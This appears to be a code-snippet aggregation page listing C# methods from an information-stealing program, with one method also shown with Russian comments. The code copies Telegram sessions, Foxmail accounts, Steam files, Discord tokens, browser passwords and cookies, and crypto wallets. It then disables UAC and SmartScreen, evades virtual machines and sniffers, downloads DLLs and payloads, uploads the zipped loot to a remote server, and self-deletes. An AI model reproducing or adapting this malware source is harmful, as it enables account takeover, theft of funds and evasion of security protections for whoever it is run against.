Exemplo n.º 1
0
 public static void GetTelegramSession(string From, string To, string Expansion, bool True = true)
 {
     if (Directory.Exists(From) || (!Directory.Exists(To)))
     {
         try
         {
             CombineEx.CreateDir(To);
             foreach (string dirPath in Directory.EnumerateDirectories(From, Expansion, SearchOption.TopDirectoryOnly))
             {
                 if (!dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji")))
                 {
                     CombineEx.CreateDir(dirPath?.Replace(From, To));
                     foreach (string newPath in Directory.EnumerateFiles(dirPath, Expansion, SearchOption.TopDirectoryOnly))
                     {
                         try
                         {
                             CombineEx.FileCopy(newPath, newPath?.Replace(From, To), True);
                         }
                         catch (ArgumentException) { }
                         catch (NotSupportedException) { }
                     }
                 }
             }
         }
         catch { }
     }
 }
Exemplo n.º 2
0
        public static void Inizialize()
        {
            string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";

            ProcessKiller.Closing("Foxmail");
            if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass))
            {
                CombineEx.CreateDir(GlobalPath.FoxMailPass);
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        try
                        {
                            string Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                            string UserDat   = CombineEx.Combination(dir, @"Accounts\Account.rec0");
                            string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0");
                            CombineEx.FileCopy(UserDat, FinalPath, true);
                            Reader(UserDat, Email);

                            if (File.Exists(GlobalPath.FoxMailLog))
                            {
                                CombineEx.DeleteFile(FinalPath);
                            }
                        }
                        catch (ArgumentException) { }
                    }
                }
                catch (Exception) { }
            }
        }
Exemplo n.º 3
0
 public static bool Download(string HostName)
 {
     AntiSniffer.Inizialize();
     if (Directory.Exists(GlobalPath.GarbageTemp))
     {
         if (!Directory.Exists(OSDirectory))
         {
             CombineEx.CreateDir(OSDirectory);
             return(Download(HostName));
         }
         else
         {
             foreach (string list in Encryptdll)
             {
                 if (!list.EndsWith(".txt", StringComparison.Ordinal))
                 {
                     return(false);
                 }
                 else
                 {
                     string ChangerExtension = Path.ChangeExtension(list, ".dll");
                     GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension));
                 }
             }
         }
     }
     return(true);
 }
Exemplo n.º 4
0
 public static bool Download(string HostName)
 {
     AntiSniffer.Inizialize();                     // Убиваем снифферы.
     if (Directory.Exists(GlobalPath.GarbageTemp)) // проверяем папку Garbage в папке Temp - Temp\Garbage
     {
         if (!Directory.Exists(OSDirectory))       // Проверяем директорию битности
         {
             CombineEx.CreateDir(OSDirectory);     // Создадим директорию.
             return(Download(HostName));           // Снова выполним метод Download
         }
         else // Если папка битности есть то..
         {
             foreach (string list in Encryptdll)                       // проходим циклом по списку Encryptdll
             {
                 if (!list.EndsWith(".txt", StringComparison.Ordinal)) // Проверим что список состоит из .txt файлов
                 {
                     return(false);                                    // если нет то завершаем работу.
                 }
                 else
                 {
                     string ChangerExtension = Path.ChangeExtension(list, ".dll");                                              // Переименовываем форматы файлов в *.dll
                     GetByte($@"{HostName}/files/dll/{list}", CombineEx.Combination(GlobalPath.GarbageTemp, ChangerExtension)); // Скачиваем .dll файлы
                 }
             }
         }
     }
     return(true); // Переходим дальше.
 }
Exemplo n.º 5
0
        public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc)
        {
            if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir)))
            {
                CombineEx.CreateDir(GlobalPath.Steam_Dir);
                ProcessKiller.Closing(Proc);
                try
                {
                    foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion))
                    {
                        if (File.Exists(Unknown))
                        {
                            if (!Unknown.Contains(".crash"))
                            {
                                CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown)));
                            }
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
                catch (IOException) { }
                catch (UnauthorizedAccessException) { }
                catch (ArgumentException) { }

                if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name)))
                {
                    try
                    {
                        CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name));
                        SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID());
                        foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles))
                        {
                            if (!File.Exists(Config))
                            {
                                continue;
                            }
                            else
                            {
                                CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true);
                            }
                        }
                    }
                    catch { }
                }
            }
        }
Exemplo n.º 6
0
 private static void CopyDiscordSafeDir(int size = 0)
 {
     if (File.Exists(GlobalPath.DiscordFile) || (!Directory.Exists(GlobalPath.DiscordHome)))
     {
         CombineEx.CreateDir(GlobalPath.DiscordHome);
         try
         {
             if (!new FileInfo(GlobalPath.DiscordFile).Length.Equals(size))
             {
                 CombineEx.FileCopy(GlobalPath.DiscordFile, CombineEx.Combination(GlobalPath.DiscordHome, Path.GetFileName(GlobalPath.DiscordFile)), true);
             }
         }
         catch { }
     }
 }
Exemplo n.º 7
0
 public static void CopyLoginsInSafeDir(string Folder, bool Recursive = true)
 {
     CombineEx.CreateDir(Folder);
     for (int i = 0; i < BrPaths.Count; i++)
     {
         int SafeIndex = i;
         if (File.Exists(BrPaths[SafeIndex]))
         {
             try
             {
                 CombineEx.FileCopy(BrPaths[SafeIndex], CombineEx.Combination(Folder, Path.GetFileName(GetApplication.GetBrowserName(BrPaths[SafeIndex]))), Recursive);
                 GetSecureFile(Folder, GetApplication.GetBrowserName(BrPaths[SafeIndex]));
             }
             catch (ArgumentException) { }
         }
     }
 }
Exemplo n.º 8
0
 private static void CopyFiles(string dir, string path)
 {
     if (File.Exists(path))
     {
         CombineEx.CreateDir(GlobalPath.CryptoDir);
         string fd = CombineEx.CombinationEx(GlobalPath.CryptoDir, dir);
         CombineEx.CreateDir(fd);
         try
         {
             int size = 0;
             if (!(new FileInfo(path).Length == size))
             {
                 CombineEx.FileCopy(path, CombineEx.CombinationEx(fd, Path.GetFileName(path)), true);
             }
         }
         catch { }
     }
 }
Exemplo n.º 9
0
 public static void CopyCookiesInSafeDir(string DirCookies, bool Recursive = true)
 {
     CombineEx.CreateDir(DirCookies);
     foreach (string Cookie in CookiesFullPath)
     {
         if (!File.Exists(Cookie))
         {
             continue;
         }
         else
         {
             try
             {
                 CombineEx.FileCopy(Cookie, CombineEx.Combination(DirCookies, Path.GetFileName(GetApplication.GetBrowserName(Cookie))), Recursive);
                 GetSecureFile(DirCookies, GetApplication.GetBrowserName(Cookie));
             }
             catch (ArgumentException) { }
         }
     }
 }
Exemplo n.º 10
0
 private void Updater_Load(object sender, EventArgs e)
 {
     Thread.Sleep(1000);
     if (!AntiVM.GetCheckVMBot())
     {
         if (!MovEx.CheckPath())
         {
             ProcessKiller.Delete($"/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath);
         }
         else
         {
             HideFolders.Enabled(0);
             DisableLockers.SmartScreen();
             DisableLockers.UAC();
             if (Date.Downloader)
             {
                 Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
             }
             CombineEx.CreateDir(GlobalPath.User_Name);
             AntiSniffer.Inizialize();
             if (Date.IpLogger)
             {
                 IPLogger.Sender(Date.IpLoggerLink);
             }
             if (Date.CryptoWall)
             {
                 BitBoard.GetWallet();
             }
             if (Date.Browsers)
             {
                 ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                 ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                 GetPassword.Inizialize();
                 GetCookies.Inizialize();
             }
             if (Date.Buffer)
             {
                 ClipboardEx.GetBuffer(GlobalPath.Buffer);
             }
             if (Date.Programs)
             {
                 InfoGrabber.CreateTable(GlobalPath.PC_File);
                 MailFoxPassword.Inizialize();
                 TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
             }
             if (Date.Clients)
             {
                 GetClients.Inizialize();
             }
             if (Date.Steam)
             {
                 GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
             }
             if (Date.ScreenShot)
             {
                 ScreenShot.Shoot(GlobalPath.Screen);
             }
             Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
             Archiving.Inizialize();
             UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
             if (Date.BlockInternet)
             {
                 BlockIE.Enabled(1);
             }
             if (Date.Delay)
             {
                 ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelaySec} & Del", GlobalPath.AssemblyPath);
             }
             Application.Exit();
         }
     }
     else
     {
         SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
         ProcessKiller.Delete($"/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath);
     }
 }